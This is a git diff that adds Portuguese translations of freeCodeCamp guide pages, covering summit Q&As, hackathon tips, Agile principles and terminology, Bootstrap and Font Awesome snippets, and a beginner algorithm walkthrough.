+**\-Por que React.js mais Angular.js?** É mais simples aprender e ensinar, e 'mais divertido' escrever. Outra razão é que a FCC acredita que há uma 'massa crítica' por trás do React.js, baseado em muitos grandes nomes que movem suas bases de código para o React.js. O Wordpress, por exemplo, está mudando e representa 25% da internet. A ampla adoção do React.js se traduz em mais oportunidades de emprego. O Angular.js é muito mais popular agora, mas o [@QuincyLarson](/users/quincylarson) acha que o React.js irá ultrapassar o Angular.js. O Angular 2 será lançado em breve e é uma revisão completa do Angular 1; a única coisa é o mesmo nome. [@SaintPeter](/users/saintpeter) adicionou que o novo site Wiki está escrito em React.js e é muito responsivo.
+
+**\-É FCC suficiente para me tornar um desenvolvedor web?** [@SaintPeter](/users/saintpeter) : Não. A FCC fornece uma estrutura e um caminho linear para guiar seu aprendizado, mas não fornecerá tudo para todos. Não se sinta como se estivesse traindo a FCC se você for a outros recursos para complementar seu aprendizado. [@QuincyLarson](/users/quincylarson) : A FCC está à frente de seus pares em termos de ser exaustiva e gostaríamos que a FCC fosse o mais abrangente possível no futuro. Dito isso, é claro que você deve complementar seu aprendizado com outros sites. Um dos principais focos da FCC são os projetos (eu presumo que os projetos de front-end e de back-end). Então, use outros materiais se precisar, mas volte para a FCC para usar esse conhecimento para trabalhar nos projetos.
+
+**Desde que o SASS está sendo adicionado, existe uma chance de adicionar um pré-processador HTML como o Jade?** [@BerkeleyTrue](/users/berkeleytrue) - Talvez, mas não parece acrescentar muito ao currículo.
+
+**\-Quantos campistas obtiveram empregos como resultado direto do trabalho com a FCC?** [@BerkeleyTrue](/users/berkeleytrue) - É pelo menos uma dúzia. [@QuincyLarson](/users/quincylarson) - Não podemos manter números concretos porque não fazemos parcerias, por isso confiamos nas pessoas para nos dizer quando conseguiram emprego, mas é pelo menos uma centena. Muitas pessoas conseguem emprego antes de terminar nosso currículo.
+
+**\-À luz do novo currículo, o que acontece com as pessoas que já possuem uma Certificação de Desenvolvedor Full Stack?** [@QuincyLarson](/users/quincylarson) - Não há maneira justa de lidar com as 25 pessoas que têm a certificação agora. Ele entrará em contato diretamente com eles para se desculpar, mas a Certificação de desenvolvedor de pilha completa atual será convertida para a certificação de desenvolvedor de back-end, depois de concluir os cinco novos desafios da API. Esperando que esta seja a última vez que a duração do currículo muda.
+
+**\-O FCC vai tocar nos módulos do Node como Gulp, Bower, Yeoman, etc?** [@SaintPeter](/users/saintpeter) - Quando você estiver pronto para usá-los, você deve saber o suficiente para aprender sozinho. Apresentá-los no início do programa é muito grande. / u / quicnylarson - Gostaria de ver os tópicos da Caminhada sobre estes.
+
+**\-Como você vê o Reddit sendo usado por campistas?** [@QuincyLarson](/users/quincylarson) - Reddit é um lugar para a nossa comunidade compartilhar idéias e fazer perguntas. A comunidade da FCC está espalhada por muitas plataformas diferentes (por exemplo, Gitter chat, Facebook, meetups, etc). O Reddit é uma ótima maneira de compartilhar histórias, fazer perguntas, etc., para a comunidade INTEIRA de uma só vez.
+
+Como um aparte, a [@QuincyLarson](/users/quincylarson) abriu [uma página stackoverflow](https://stackoverflow.com/research/developer-survey-2015) e discutiu a tendência de mais e mais desenvolvedores de software serem autodidatados e / ou provenientes de campos não-controlados.
+
+**\- No mês passado, você disse que cerca de 200 pessoas haviam terminado o certificado de desenvolvedor de front-end. Isso mudou e em que proporção as pessoas estão ganhando este certificado?** [@BerkeleyTrue](/users/berkeleytrue) - 311. [@QuincyLarson](/users/quincylarson) - O ritmo acelerou. Se você tiver concluído esse certificado, internet high-five. 913 pessoas prometeram doações para organizações sem fins lucrativos.
+
+Como um aparte, o / u / quicnylarson discutiu os planos futuros para expandir o número de organizações sem fins lucrativos que os campistas podem se comprometer em seu compromisso sem fins lucrativos. Não há números específicos, apenas que ele estará se expandindo no futuro.
+
+**\-Como as pessoas podem contratar graduados da FCC?** [@QuincyLarson](/users/quincylarson) - Os empregadores podem usar o [Conselho de Emprego](https://www.freecodecamp.com/jobs) do [Free Code Camp](https://www.freecodecamp.com/jobs) para postar cargos. A FCC quer apenas empregos de alta qualidade de empregadores de alta qualidade, por isso eles estão atualmente cobrando $ 1000 para postar um trabalho no quadro de empregos. A FCC ainda está tentando descobrir como vender para os empregadores e ajudá-los a entender o que eles obterão quando contratarem um graduado da FCC. Apenas cerca de 5% das pessoas nos EUA aprendem a codificar, em comparação com 100% na China. O desenvolvedor de software já é o trabalho mais comum em alguns estados dos EUA. Fornecer educação de codificação a todos de graça é uma meta grande e ambiciosa. O quadro de empregos (e seu custo) é apenas outra manifestação disso.
+
+**\-Se sou um desenvolvedor estabelecido, posso começar a trabalhar em projetos sem fins lucrativos imediatamente?** [@QuincyLarson](/users/quincylarson) - Não. Todos os que trabalham em nossos projetos sem fins lucrativos devem ganhar a Certificação de Desenvolvimento de Empilhamento Total primeiro. Completar o programa não é apenas demonstrar capacidade, mas também demonstrar compromisso com o programa. É importante que as pessoas que trabalham nas organizações sem fins lucrativos sejam dedicadas e tenham dedicado tempo e esforço para chegar a esse ponto; A FCC não quer que as pessoas desistam no meio do projeto. [@QuincyLarson](/users/quincylarson) apontou que o FCC é intencionalmente difícil e está provavelmente entre os recursos de codificação mais difíceis. Mesmo pessoas com experiência em codificação podem levar horas para concluir um projeto de front end ou um projeto de back-end. Isso é por design. [@SaintPeter](/users/saintpeter) - Como um lembrete, todos os desafios são opcionais (para todos). Se você tiver um plano de fundo de codificação, só precisará concluir os algoritmos, os projetos de front-end e os projetos de back-end para obter os certificados.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/meta/free-code-camps-summit-november-2015/index.md b/client/src/guide/portuguese/meta/free-code-camps-summit-november-2015/index.md
new file mode 100644
index 0000000000..1839f0a622
--- /dev/null
+++ b/client/src/guide/portuguese/meta/free-code-camps-summit-november-2015/index.md
@@ -0,0 +1,14 @@
+---
+title: Free Code Camps Summit November 2015
+localeTitle: Cimeira do Free Code Camps Novembro de 2015
+---
+Nossa cúpula de 7 de novembro de 2015 começou ao meio-dia EDT em [nosso canal twitch.tv](http://twitch.tv/freecodecamp) e ficou disponível posteriormente em nosso [canal do youtube](https://www.youtube.com/channel/UC8butISFwT-Wl7EV0hUK0BQ?sub_confirmation=1) .
+
+Esta transmissão ao vivo de uma hora apresentou:
+
+1.  Quincy mostrando [nossa nova publicação do Medium](https://medium.freecodecamp.com)
+2.  Berkeley, explicando nossas recentes melhorias curriculares e como você pode contribuir também
+3.  Ben introduzindo a ferramenta Challenge-o-matic 1000 para criar desafios
+4.  Mike demonstrando uma maneira de fazer a FCC rodar no seu computador com apenas alguns comandos usando o Vagrant
+5.  Kristian demonstrando um [aplicativo colaborativo de música moderna construído por campistas](http://musare.com/)
+6.  Perguntas da nossa comunidade
\ No newline at end of file
diff --git a/client/src/guide/portuguese/meta/free-code-camps-summit-october-2015/index.md b/client/src/guide/portuguese/meta/free-code-camps-summit-october-2015/index.md
new file mode 100644
index 0000000000..2e2d02059c
--- /dev/null
+++ b/client/src/guide/portuguese/meta/free-code-camps-summit-october-2015/index.md
@@ -0,0 +1,13 @@
+---
+title: Free Code Camps Summit October 2015
+localeTitle: Cimeira do Free Code Camps Outubro de 2015
+---
+A nossa Cimeira de 3 de outubro de 2015 começou ao meio-dia EST no sábado no [canal twitch.tv](http://twitch.tv/freecodecamp) e estará disponível posteriormente no nosso [canal do youtube](https://www.youtube.com/channel/UC8butISFwT-Wl7EV0hUK0BQ?sub_confirmation=1) .
+
+Durante esta transmissão ao vivo de 1 hora, nós:
+
+*   lançar nossos programas gratuitos de Front End e Full Stack Development Certificate
+*   demonstre nossas novas e mais abrangentes páginas de portfólio
+*   Demonstrar uma nova maneira de todos os nossos campistas começarem imediatamente a ajudar organizações sem fins lucrativos
+*   fale com o campista Blake Johnston, que criou o clichê do Clementine.js que o Free Code Camp usará para os desafios do Projeto Back End de pilha inteira
+*   lançamos nossa primeira campanha de camisetas em teespring.com
\ No newline at end of file
diff --git a/client/src/guide/portuguese/meta/index.md b/client/src/guide/portuguese/meta/index.md
new file mode 100644
index 0000000000..dd85103b9b
--- /dev/null
+++ b/client/src/guide/portuguese/meta/index.md
@@ -0,0 +1,7 @@
+---
+title: Meta
+localeTitle: Meta
+---
+## Meta
+
+A Freecodecamp é uma organização americana sem fins lucrativos que começou em 15 de outubro de 2014. Ela oferece um currículo de alta qualidade para os alunos que desejam aprender sobre o desenvolvimento da Web ou aperfeiçoar suas habilidades. Hoje em dia, uma comunidade mundial é usada por mais de 1 milhão de campistas por mês.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/meta/why-does-free-code-camp-use-javascript-instead-of-ruby-or-python/index.md b/client/src/guide/portuguese/meta/why-does-free-code-camp-use-javascript-instead-of-ruby-or-python/index.md
new file mode 100644
index 0000000000..b960ef2902
--- /dev/null
+++ b/client/src/guide/portuguese/meta/why-does-free-code-camp-use-javascript-instead-of-ruby-or-python/index.md
@@ -0,0 +1,11 @@
+---
+title: Why Does Free Code Camp Use JavaScript Instead of Ruby or Python
+localeTitle: Por que o Free Code Camp usa JavaScript em vez de Ruby ou Python?
+---
+Como o JavaScript, o Ruby e o Python são linguagens de script de alto nível que podem ser usadas para o desenvolvimento da Web com pilha completa.
+
+Mas mesmo que você aprendesse esses idiomas, ainda precisaria aprender JavaScript. Isso porque o JavaScript é a única linguagem que é executada nos navegadores da web. O JavaScript existe há 20 anos e ainda está crescendo em popularidade.
+
+Por causa disso, o JavaScript tem mais ferramentas e recursos de aprendizado online do que qualquer outro idioma.
+
+![Um gráfico mostrando o volume de novos repositórios do GitHub por ano, com o JavaScript crescendo e a maioria dos idiomas em declínio.](//discourse-user-assets.s3.amazonaws.com/original/2X/0/0fdd6f454cc04076bb5ed1334befbecc2b966913.png)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/miscellaneous/10-steps-on-how-to-conquer-a-hackathon/index.md b/client/src/guide/portuguese/miscellaneous/10-steps-on-how-to-conquer-a-hackathon/index.md
new file mode 100644
index 0000000000..fa81b13d79
--- /dev/null
+++ b/client/src/guide/portuguese/miscellaneous/10-steps-on-how-to-conquer-a-hackathon/index.md
@@ -0,0 +1,45 @@
+---
+title: 10 Steps on How to Conquer a Hackathon
+localeTitle: 10 etapas em como conquistar uma Hackathon
+---
+## 10 etapas em como conquistar uma Hackathon
+
+1.  **Aplique cedo.**
+
+Às vezes, alguns dos hackathons enviam aceitações em lotes. Se você aplicar apenas alguns dias antes do hackathon, você pode ficar de fora. A maioria dos hackathons, especialmente aqueles destinados a estudantes de graduação e pós-graduação, têm a liberdade de comparecer e muitos oferecem até reembolsos de viagem para ajudar a subsidiar o custo da viagem para os participantes que viajam longas distâncias. No entanto, pode haver fundos limitados para reembolsos de viagens, portanto, solicite antecipadamente para garantir que você receba uma dessas concessões.
+
+2.  **Não tenha medo.**
+
+Eu recentemente competi no meu primeiro hackathon, e eu estava completamente assustado com um grande caso de [síndrome](https://guide.freecodecamp.org/working-in-tech/imposter-syndrome/) do [impostor](https://guide.freecodecamp.org/working-in-tech/imposter-syndrome/) . A chave para os hackathons é simplesmente conseguir por isso sem qualquer medo, você é realmente um grande trunfo para uma equipe.
+
+3.  **Apenas continue empurrando.**
+
+Se você estiver em um hackathon e seu projeto parar, continue pressionando, parte de um projeto é melhor do que nenhum projeto.
+
+4.  **Aproveite os brindes.**
+
+Por mais estressante que seja o hacking de algo que você está criando, há um monte de coisas legais que alguns dos patrocinadores de hackathons oferecem, como camisas, adesivos e, ocasionalmente, gadgets legais. Estocar!
+
+5.  **Aprecie a comida grátis.**
+
+Outro aspecto impressionante de hackathons é comida de graça, desde que você esteja lá por um mínimo de 12 horas até 4 ou 5 dias (casos extremos), eles fornecem refeições gratuitas para os participantes, YUM!
+
+6.  **Aprenda o máximo que puder.**
+
+Uma das melhores partes de um hackathon é aprender algumas coisas bem legais. Muitas pessoas que vêm para os eventos têm diferentes conjuntos de habilidades, conhecimentos e formação educacional. A partir disso, você pode aprender tudo e qualquer coisa que eles têm para oferecer. Alguns dos participantes lhe darão links para bibliotecas, tutoriais e comunidades bacanas, alguns irão apenas lançar uma nova palavra de ordem, alguns até mostrarão um gadget legal e ergonômico que pode melhorar seu fluxo de trabalho. Por último, mas não menos importante, aprender algumas habilidades técnicas no local com outros participantes é inestimável!
+
+7.  **Rede.**
+
+Vindo de uma formação não técnica, este foi um dos aspectos mais importantes e surpreendentes para mim no meu primeiro hackathon. Muitas vezes, os recrutadores estarão lá, outros desenvolvedores, VCs e até advogados que procuram representar a próxima grande inovação. Finalmente, você pode fazer amigos para a vida com alguns dos outros participantes no seu grupo ou não.
+
+8.  **Vá sozinho.**
+
+Isso, inicialmente, foi uma das minhas maiores montanhas de medo de escalar. Eu realmente queria ir com algumas pessoas que eu conheço, mas se você fizer isso, elas se tornam uma muleta e você se agarra a elas. O objetivo é expandir e fazer novos amigos e conhecer novas pessoas. Você ficará feliz por ter feito isso.
+
+9.  **Abrace a experiência.**
+
+Às vezes, quando você é pego no meio de um bug que você não pode consertar, ou sua equipe parece não estar se dando bem, lembre-se de que tudo isso faz parte da experiência de ir a um hackathon. Você não é a primeira pessoa a se sentir assim e não será o último. Trate tudo como parte da experiência de aprendizado.
+
+10.  **Diverta-se!**
+
+Uma das minhas citações favoritas de uma fonte anônima é "Se você não está se divertindo, está fazendo errado". Faça amigos, saia da sua zona de conforto, aproveite a noite sem dormir, beba um pouco de cafeína, ria quando pegar um inseto e tente consertá-lo, e você se lembrará da experiência como recompensadora.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/miscellaneous/12-principles-behind-the-agile-manifesto/index.md b/client/src/guide/portuguese/miscellaneous/12-principles-behind-the-agile-manifesto/index.md
new file mode 100644
index 0000000000..a391f89d42
--- /dev/null
+++ b/client/src/guide/portuguese/miscellaneous/12-principles-behind-the-agile-manifesto/index.md
@@ -0,0 +1,33 @@
+---
+title: 12 Principles Behind the Agile Manifesto
+localeTitle: 12 princípios por trás do manifesto ágil
+---
+### Nós seguimos estes princípios:
+
+1.  Nossa maior prioridade é satisfazer o cliente através da entrega antecipada e contínua de software valioso.
+    
+2.  Bem-vindo mudanças nos requisitos, mesmo no final do desenvolvimento. Os processos ágeis aproveitam as mudanças para a vantagem competitiva do cliente.
+    
+3.  Entregue software de trabalho com frequência, de algumas semanas a alguns meses, com uma preferência pela menor escala de tempo.
+    
+4.  Empresários e desenvolvedores devem trabalhar juntos diariamente durante todo o projeto.
+    
+5.  Construa projetos em torno de indivíduos motivados. Dê a eles o ambiente e o suporte de que precisam e confie neles para realizar o trabalho.
+    
+6.  O método mais eficiente e eficaz de transmitir informações para e dentro de uma equipe de desenvolvimento é a conversa face a face.
+    
+7.  O software de trabalho é a principal medida de progresso.
+    
+8.  Processos ágeis promovem o desenvolvimento sustentável. Os patrocinadores, desenvolvedores e usuários devem poder  
+    para manter um ritmo constante indefinidamente.
+    
+9.  A atenção contínua à excelência técnica e ao bom design aumenta a agilidade.
+    
+10.  Simplicidade - a arte de maximizar a quantidade de trabalho não realizado - é essencial.
+    
+11.  As melhores arquiteturas, requisitos e projetos emergem de equipes auto-organizadas.
+    
+12.  Em intervalos regulares, a equipe reflete sobre como se tornar mais eficiente, depois ajusta e ajusta seu comportamento de acordo.
+    
+
+Leia o original em [http://agilemanifesto.org/principles.html](http://agilemanifesto.org/principles.html)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/miscellaneous/about-the-wiki-category/index.md b/client/src/guide/portuguese/miscellaneous/about-the-wiki-category/index.md
new file mode 100644
index 0000000000..b18447307c
--- /dev/null
+++ b/client/src/guide/portuguese/miscellaneous/about-the-wiki-category/index.md
@@ -0,0 +1,5 @@
+---
+title: About the Wiki Category
+localeTitle: Sobre a categoria Wiki
+---
+O [wiki gerenciado pela comunidade](https://forum.freecodecamp.org/c/guide) apresenta artigos que cobrem a maioria dos nossos desafios, bem como ferramentas como o Linux. Também possui desafios interativos para Python, Java e outros idiomas.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/miscellaneous/accessing-the-database-from-your-front-end/index.md b/client/src/guide/portuguese/miscellaneous/accessing-the-database-from-your-front-end/index.md
new file mode 100644
index 0000000000..af6333e7dd
--- /dev/null
+++ b/client/src/guide/portuguese/miscellaneous/accessing-the-database-from-your-front-end/index.md
@@ -0,0 +1,12 @@
+---
+title: Accessing the Database from Your Front End
+localeTitle: Acessando o banco de dados do seu front end
+---
+Você deve ter notado no **main.controller.js** como as _coisas_ foram recuperadas do banco de dados e exibidas:
+```
+$http.get('/api/things').success(function(awesomeThings){ 
+    $scope.awesomeThings = awesomeThings; 
+ }); 
+```
+
+O que isto faz é chamar a API com um "get" pedido, que é então encaminhado por **/server/api/things/index.js** para a função _exports.index_ em **things.controller.js.** Você também notará no **main.controller.js** que existem exemplos incluídos de _funções $ http.post_ e _$ http.delete_ também! Quão legal!
\ No newline at end of file
diff --git a/client/src/guide/portuguese/miscellaneous/add-elements-within-your-bootstrap-wells/index.md b/client/src/guide/portuguese/miscellaneous/add-elements-within-your-bootstrap-wells/index.md
new file mode 100644
index 0000000000..e04c28ce74
--- /dev/null
+++ b/client/src/guide/portuguese/miscellaneous/add-elements-within-your-bootstrap-wells/index.md
@@ -0,0 +1,5 @@
+---
+title: Add Elements Within Your Bootstrap Wells
+localeTitle: Adicione elementos em seus poços de inicialização
+---
+Depois de mergulhar o suficiente nas `divs` você pode começar a adicionar os botões do Bootstrap.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/miscellaneous/add-font-awesome-icons-to-all-of-our-buttons/index.md b/client/src/guide/portuguese/miscellaneous/add-font-awesome-icons-to-all-of-our-buttons/index.md
new file mode 100644
index 0000000000..94252e9cdb
--- /dev/null
+++ b/client/src/guide/portuguese/miscellaneous/add-font-awesome-icons-to-all-of-our-buttons/index.md
@@ -0,0 +1,10 @@
+---
+title: Add Font Awesome Icons to All of Our Buttons
+localeTitle: Adicione ícones impressionantes da fonte a todos nossos botões
+---
+Adicionará um ícone de lixeira.
+```
+<i class="fa fa-info-circle"></i> 
+```
+
+Irá adicionar um ícone de informação.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/miscellaneous/add-font-awesome-icons-to-our-buttons/index.md b/client/src/guide/portuguese/miscellaneous/add-font-awesome-icons-to-our-buttons/index.md
new file mode 100644
index 0000000000..b7f682b757
--- /dev/null
+++ b/client/src/guide/portuguese/miscellaneous/add-font-awesome-icons-to-our-buttons/index.md
@@ -0,0 +1,27 @@
+---
+title: Add Font Awesome Icons to Our Buttons
+localeTitle: Adicionar ícones impressionantes da fonte aos nossos botões
+---
+## Adicionar ícones impressionantes da fonte aos nossos botões
+
+Font Awesome é uma conveniente biblioteca de ícones. Esses ícones são gráficos vetoriais, armazenados no formato de arquivo `.svg` . Esses ícones são tratados como fontes. Você pode especificar seu tamanho usando pixels e eles assumirão o tamanho da fonte de seus elementos HTML pai.
+
+Aqui está como você adiciona um ícone:
+
+```html
+
+<i class="fa fa-thumbs-up"></i> 
+```
+
+Aqui está como você iria inserir esse ícone em um botão:
+
+```html
+
+<button class="btn btn-block btn-primary"><i class="fa fa-thumbs-up"></i> Like</button> 
+```
+
+#### Mais Informações:
+
+Obter fonte impressionante em seu site: [Fonte impressionante - Comece](http://fontawesome.io/get-started/)
+
+Confira todos os ícones impressionantes da fonte disponível: [Ícones](http://fontawesome.io/icons/)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/miscellaneous/add-free-code-camp-in-linkedin/index.md b/client/src/guide/portuguese/miscellaneous/add-free-code-camp-in-linkedin/index.md
new file mode 100644
index 0000000000..22a441c29a
--- /dev/null
+++ b/client/src/guide/portuguese/miscellaneous/add-free-code-camp-in-linkedin/index.md
@@ -0,0 +1,14 @@
+---
+title: Add Free Code Camp in Linkedin
+localeTitle: Adicione o Code Camp grátis no Linkedin
+---
+O LinkedIn reconhece o Free Code Camp como uma universidade.
+
+Você pode explorar nossa atividade de ex-alunos [aqui](https://www.linkedin.com/edu/school?id=166029) .
+
+Você deve adicionar o Free Code Camp ao seu perfil do LinkedIn. Veja como:
+
+*   Siga este link: [Adicionar Free Code Camp](https://www.linkedin.com/profile/edit-education?school=Free+Code+Camp)
+*   Siga estas instruções: ![](//discourse-user-assets.s3.amazonaws.com/original/2X/8/8b138a334f9cfc075fee7379b515a173a154934b.png)
+
+Depois de concluir nosso currículo (ou concluir pelo menos um projeto sem fins lucrativos e, em seguida, obter um trabalho de codificação), emitiremos um certificado oficial de desenvolvimento completo para a Web que você também pode adicionar ao seu perfil do LinkedIn.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/miscellaneous/add-id-attributes-to-bootstrap-elements/index.md b/client/src/guide/portuguese/miscellaneous/add-id-attributes-to-bootstrap-elements/index.md
new file mode 100644
index 0000000000..46f4ec699f
--- /dev/null
+++ b/client/src/guide/portuguese/miscellaneous/add-id-attributes-to-bootstrap-elements/index.md
@@ -0,0 +1,11 @@
+---
+title: Add Id Attributes to Bootstrap Elements
+localeTitle: Adicionar atributos de identificação aos elementos do bootstrap
+---
+Lembre-se de que, além dos atributos de classe, você pode atribuir a cada um dos seus elementos um atributo id.
+
+Cada ID deve ser exclusivo para um elemento específico. Lembre-se que você pode dar um elemento um id como este:
+```
+<div class="well" id="center-well"> 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/portuguese/miscellaneous/adding-envirioment-variables-in-windows/index.md b/client/src/guide/portuguese/miscellaneous/adding-envirioment-variables-in-windows/index.md
new file mode 100644
index 0000000000..c8fa475778
--- /dev/null
+++ b/client/src/guide/portuguese/miscellaneous/adding-envirioment-variables-in-windows/index.md
@@ -0,0 +1,15 @@
+---
+title: Adding Envirioment Variables in Windows
+localeTitle: Adicionando Variáveis ​​de Ambiente no Windows
+---
+### Via GUI
+
+1.  Faça o download do [Varpanel](http://implbits.com/products/varpanel/) .
+2.  Abra o Varpanel.
+3.  Na variável PATH, adicione o caminho relevante (por exemplo).
+
+![](//discourse-user-assets.s3.amazonaws.com/original/2X/2/2ba273241acdbf4164bae20216c975d0e2ceff08.gif)
+
+### Via linha de comando
+
+Consulte [esta resposta](http://superuser.com/a/284351/275797) no Super User.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/miscellaneous/advantages-of-using-free-code-camp/index.md b/client/src/guide/portuguese/miscellaneous/advantages-of-using-free-code-camp/index.md
new file mode 100644
index 0000000000..a35a00ae5e
--- /dev/null
+++ b/client/src/guide/portuguese/miscellaneous/advantages-of-using-free-code-camp/index.md
@@ -0,0 +1,13 @@
+---
+title: Advantages of Using Free Code Camp
+localeTitle: Vantagens de usar o Free Code Camp
+---
+As principais vantagens do Free Code Camp são que somos acessíveis a adultos ocupados que querem mudar de carreira.
+
+Especificamente, somos:
+
+*   Livre
+*   Individualizado
+*   Baseado em navegador
+
+Uma das diferenças mais notáveis ​​nesse currículo em comparação com outros ambientes do Code-Camp / School é o **alto nível de suporte** : usar as salas de bate-papo para obter ajuda, orientação e assistência a outros codificadores proporciona um melhor entendimento do código, acesso mais fácil para explicações, e é em tempo real para que você possa questionar a confusão.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/miscellaneous/agile-project-management-terminology/index.md b/client/src/guide/portuguese/miscellaneous/agile-project-management-terminology/index.md
new file mode 100644
index 0000000000..cfd6fedc86
--- /dev/null
+++ b/client/src/guide/portuguese/miscellaneous/agile-project-management-terminology/index.md
@@ -0,0 +1,57 @@
+---
+title: Agile Project Management Terminology
+localeTitle: Terminologia de gerenciamento ágil de projetos
+---
+Durante os projetos voluntários do Free Code Camp, usamos uma metodologia Agile Project Management. Para muitos de nossos campistas e interessados, esta é sua primeira exposição ao Agile. Embora não se espere que você seja um especialista em Agile, aqui estão alguns termos que seria útil saber:
+
+*   **Quadro de Tarefas** - Um gráfico que lista o que precisa ser feito, o que está sendo trabalhado e o que foi concluído. Usamos o Trello como nosso quadro de tarefas.
+*   **Sprint** - um período de desenvolvimento. Geralmente usamos um comprimento de sprint de uma semana.
+*   **Sprint Conference** - Uma reunião realizada no final de cada sprint para discutir o progresso alcançado e solicitar feedback. Também comumente referido como uma revisão de sprint.
+*   **Stakeholder** - Alguém fora da equipe de desenvolvimento que tem interesse no projeto e em seu desenvolvimento.
+*   **História do usuário** - Um requisito ou recurso que o produto deve atender / incluir.
+
+Para obter informações adicionais sobre o Agile, você pode conferir a página de [gerenciamento ágil](https://en.wikipedia.org/wiki/Agile_management) na Wikipedia ou dar uma olhada no [Agile Project Management for Dummies Cheat Sheet](http://www.dummies.com/how-to/content/agile-project-management-for-dummies-cheat-sheet.html) .
+
+## Ferramentas que usamos
+
+[GoToMeeting](http://www.gotomeeting.com) - Usamos o GoToMeeting para realizar nossas conferências online de gerenciamento de projetos.
+
+[When2Meet](http://www.when2meet.com) - Usamos o When2Meet para compartilhar nossa disponibilidade com a equipe.
+
+[Trello](http://www.trello.com) - Usamos o Trello para rastrear nossos projetos de desenvolvimento de voluntários na web.
+
+[Google Agenda](https://www.google.com/calendar) - Usamos o Google Agenda para acompanhar nossas conferências de projetos.
+
+## Layout padrão da placa Trello
+
+Ao configurar o quadro Trello para o seu projeto, crie as seguintes listas (nesta ordem, da esquerda para a direita).
+
+*   **Informações gerais** - essa lista incluirá informações gerais que podem ser úteis para a equipe, como links para sites atuais, uma descrição do fluxo de trabalho atual ou proposto ou qualquer outra informação que possa ser útil para a equipe de desenvolvimento.
+*   **Escopo do Projeto** - Esta lista fornece um esboço geral do que o projeto deve realizar.
+*   **User Stories** - Estas são as características _específicas_ que o desenvolvimento deve incluir.
+*   **Em andamento** - Estas são as histórias de usuários nas quais a equipe está trabalhando atualmente.
+*   **Completado recentemente** - Estas são as histórias de usuários que a equipe concluiu desde a última conferência do projeto.
+*   **Demonstração** : estas são as histórias de usuários que foram demonstradas e aceitas pelo cliente.
+
+## Organizando uma chamada de escopo
+
+Em progresso.
+
+## Lista de verificação de chamadas da sprint
+
+### 1-2 dias antes da conferência
+
+*   Verifique o evento do Google Agenda e entre em contato com qualquer pessoa que não tenha respondido.
+
+### O dia de e durante a conferência
+
+1.  Envie o convite da conferência e detalhes 10 minutos antes da chamada ser agendada.
+2.  Participe da reunião com pelo menos 5 minutos de antecedência. Você deve ser ativado e estar disponível para conversar com os participantes e com os interessados.
+3.  Mostrar e informar a hora. Pergunte aos campistas "Então, o que você trabalhou nesta semana? Você gostaria de compartilhar sua tela e demonstração?"
+4.  Pergunte aos campistas "Você teve algum problema esta semana?"
+5.  Percorra cada cartão na lista Completar recentemente e verifique se a história do usuário foi abordada.
+6.  Pergunte ao stakeholder se ele tem alguma dúvida sobre as histórias de usuário recém-concluídas.
+7.  Após cada cartão Completado recentemente ter sido discutido, arraste-o para a lista Demo.
+8.  Pergunte aos campistas "O que você está planejando para trabalhar nesta semana?"
+9.  Arraste o cartão de histórias do usuário escolhido para a lista em andamento.
+10.  Agende a próxima conferência de sprint. "Mesma hora na próxima semana?" geralmente funciona bem. Não se esqueça de enviar convites usando o Google Agenda.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/miscellaneous/algoritmo-confirma-la-terminacin/index.md b/client/src/guide/portuguese/miscellaneous/algoritmo-confirma-la-terminacin/index.md
new file mode 100644
index 0000000000..1210e06a16
--- /dev/null
+++ b/client/src/guide/portuguese/miscellaneous/algoritmo-confirma-la-terminacin/index.md
@@ -0,0 +1,42 @@
+---
+title: Algoritmo Confirma La Terminacin
+localeTitle: Algoritmo confirma a conclusão
+---
+![](//discourse-user-assets.s3.amazonaws.com/original/2X/a/a081f3fa5316b7d400a5e518bb0620eef64caa08.jpg)
+
+### Explicação:
+
+A função é simplesmente uma operação booleana. É necessário retornar true se o primeiro argumento terminar com o segundo argumento. Isso significa que, por exemplo, problema `confirmEnding('Bastian', 'n');` , deve retornar true.
+
+## Dica: 1
+
+Veja como o `substr()` funciona. Você deve tentar obter os últimos caracteres X.
+
+## Dica: 2
+
+Para obter os últimos caracteres X, você deve usar length () e convertê-lo em um número negativo.
+
+## Dica: 3
+
+Verifique se você tem a sintaxe correta e se está usando `===` para comparar.
+
+## Alerta de spoiler!
+
+![sinal de aviso](//discourse-user-assets.s3.amazonaws.com/original/2X/2/2d6c412a50797771301e7ceabd554cef4edcd74d.gif)
+
+**Solução abaixo!**
+
+## Solução de código:
+```
+function confirmEnding(str, target) { 
+  return str.substr(-target.length) === target; 
+ } 
+```
+
+![:rocket:](//forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=2 "foguete:") [Código de execução](https://repl.it/CLjU/18)
+
+## Explicação do código:
+
+Usamos subtring () com o valor negativo que retorna o tamanho do alvo. Poderíamos usar -1 para obter o último caractere, mas se o comprimento do alvo for realmente maior que um, a função retornaria as informações incorretas. Então retornamos o valor de sua expressão boolanea.
+
+> **NOTA:** Por favor, adicione seu nome de usuário somente se você adicionou **conteúdo relevante** ao artigo. (Por favor, não remova nenhum nome existente.)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/miscellaneous/algoritmo-de-argumentos-opcionales/index.md b/client/src/guide/portuguese/miscellaneous/algoritmo-de-argumentos-opcionales/index.md
new file mode 100644
index 0000000000..1deda6f515
--- /dev/null
+++ b/client/src/guide/portuguese/miscellaneous/algoritmo-de-argumentos-opcionales/index.md
@@ -0,0 +1,164 @@
+---
+title: Algoritmo De Argumentos Opcionales
+localeTitle: Algoritmo de Argumentos Opcionais
+---
+![](//discourse-user-assets.s3.amazonaws.com/original/2X/f/ff2fd8ffa014eea28587a8ef4933340d3dcc4b09.jpg)
+
+### Explicação:
+
+Pode ser um pouco complicado entender o que deve ser feito. Quando nós programamos, existem maneiras diferentes de fazer alguma coisa. Independentemente do algoritmo usado, precisamos criar uma função que faça o seguinte:
+
+*   Você tem que adicionar dois números recebidos como parâmetros e retornar o resultado.
